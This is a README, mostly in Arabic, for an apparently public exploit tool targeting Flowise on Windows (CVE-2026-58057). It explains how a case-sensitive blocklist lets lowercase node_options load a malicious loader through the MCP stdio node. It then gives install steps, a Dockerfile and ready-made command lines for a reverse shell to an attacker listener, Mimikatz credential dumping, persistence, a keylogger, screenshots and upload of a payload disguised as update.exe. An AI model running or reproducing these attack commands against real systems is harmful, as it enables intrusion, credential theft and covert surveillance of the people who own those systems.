
Flowise Windows RCE exploit for CVE-2026-58057. Bypasses environment variable validation via case-sensitive flaw. Uses node_options to inject arbitrary code through MCP stdio. Supports reverse shell, persistence, file upload, credential dumping. For authorized security testing only. Flowise أداة استغلال لثغرة RCE على ويندوز (CVE-2026-58057). تتجاوز التحقق من متغيرات البيئة من خلال ثغرة في حساسية حالة الأحرف. تستخدم node_options لحقن كود عشوائي عبر MCP stdio. تدعم الصدفة العكسية، الثبات، رفع الملفات، تفريغ بيانات الاعتماد. للاستخدام في اختبارات الأمان المصرح بها فقط.
هذا استغلال إنتاجي للثغرة CVE-2026-58057، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد في Flowise على منصات ويندوز. تنشأ الثغرة من التحقق الحساس لحالة الأحرف في متغيرات البيئة، والذي يفشل في حظر node_options بحروف صغيرة، مما يسمح للمهاجمين بتجاوز القائمة السوداء لـ NODE_OPTIONS وتنفيذ كود عشوائي من خلال تكوين MCP stdio المخصص.
يظهر الاستغلال ممارسات هندسة برمجية احترافية بهندسة معيارية، ومعالجة شاملة للأخطاء، ودعم لأنواع متعددة من الحمولات.
هام: هذه الأداة مخصصة لاختبار الاختراق المأذون به، واختبارات الاختراق، والأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
يقوم المهاجم بمصادقة Flowise
يقوم بإنشاء/تعديل عقدة MCP stdio مخصصة
يحقن متغير بيئة node_options بحروف صغيرة
يضع القيمة على --require malicious-loader.js
يقوم Node.js بتنفيذ المحمّل عند تشغيل MCP stdio
يتم تحقيق تنفيذ كود عشوائي
✅ Shell عكسي - اتصال عكسي بجهاز المهاجم
✅ Shell مقيد - فتح منفذ استماع على الهدف
✅ تنفيذ أوامر - تشغيل أوامر نظام عشوائية
✅ رفع ملفات - رفع ملفات إلى النظام الهدف
✅ ثباتية - آليات ثباتية متعددة
✅ جمع معلومات - جمع معلومات استخباراتية عن النظام
✅ تفريغ بيانات الاعتماد - تكامل مع Mimikatz
✅ التقاط لقطة شاشة - التقاط لقطات شاشة لسطح المكتب
✅ تسجيل المفاتيح - تثبيت قدرة تسجيل المفاتيح
🔐 طرق مصادقة متعددة - مفتاح API أو اسم مستخدم/كلمة مرور
🔄 منطق إعادة المحاولة التلقائي - مقاوم للمشكلات الشبكية
🧹 التنظيف الذاتي - إزالة ملفات المحمّل من الهدف
🌐 متعدد المنصات - يعمل على ويندوز/لينكس/macOS
🎨 إخراج ملون - تحسين قابلية القراءة
📊 تصحيح مطوّل - تسجيل مفصل لاستكشاف الأخطاء
Python 3.6 أو أعلى
pip (مدير حزم بايثون)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| الخيار | الوصف | مثال |
|---|---|---|
-t, --target | رابط Flowise (مطلوب) | http://localhost:3000 |
-k, --api-key | مفتاح API Flowise | flowise_abc123... |
-u, --username | اسم المستخدم | admin |
-p, --password | كلمة المرور | password123 |
| الخيار | الوصف | مثال |
|---|---|---|
--payload | نوع الحمولة | reverse_shell |
--lhost | عنوان المستقبل | 192.168.1.100 |
--lport | منفذ المستقبل | 4444 |
--command | الأمر المراد تنفيذه | whoami |
--local-file | الملف المراد رفعه | payload.exe |
--remote-path | المسار البعيد للحفظ | C:\\Temp\\update.exe |
| الخيار | الوصف |
|---|---|
--interactive | بدء شل تفاعلي |
--verbose | تمكين الإخراج التفصيلي |
--timeout | مهلة الطلب بالثواني |
--retries | عدد محاولات إعادة المحاولة |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| الحمولة | الوصف | الوسائط |
|---|---|---|
reverse_shell | اتصال عكسي بالمستقبل | --lhost, --lport |
bind_shell | فتح منفذ استماع | --lport |
command_exec | تنفيذ أمر | --command |
file_upload | رفع ملف إلى الهدف | --local-file, --remote-path |
persistence | تثبيت الثباتية | لا يوجد |
info_gather | جمع معلومات النظام | لا يوجد |
mimikatz | تفريغ بيانات الاعتماد | لا يوجد |
screenshot | التقاط لقطة شاشة | لا يوجد |
keylogger | تثبيت مسجل المفاتيح | لا يوجد |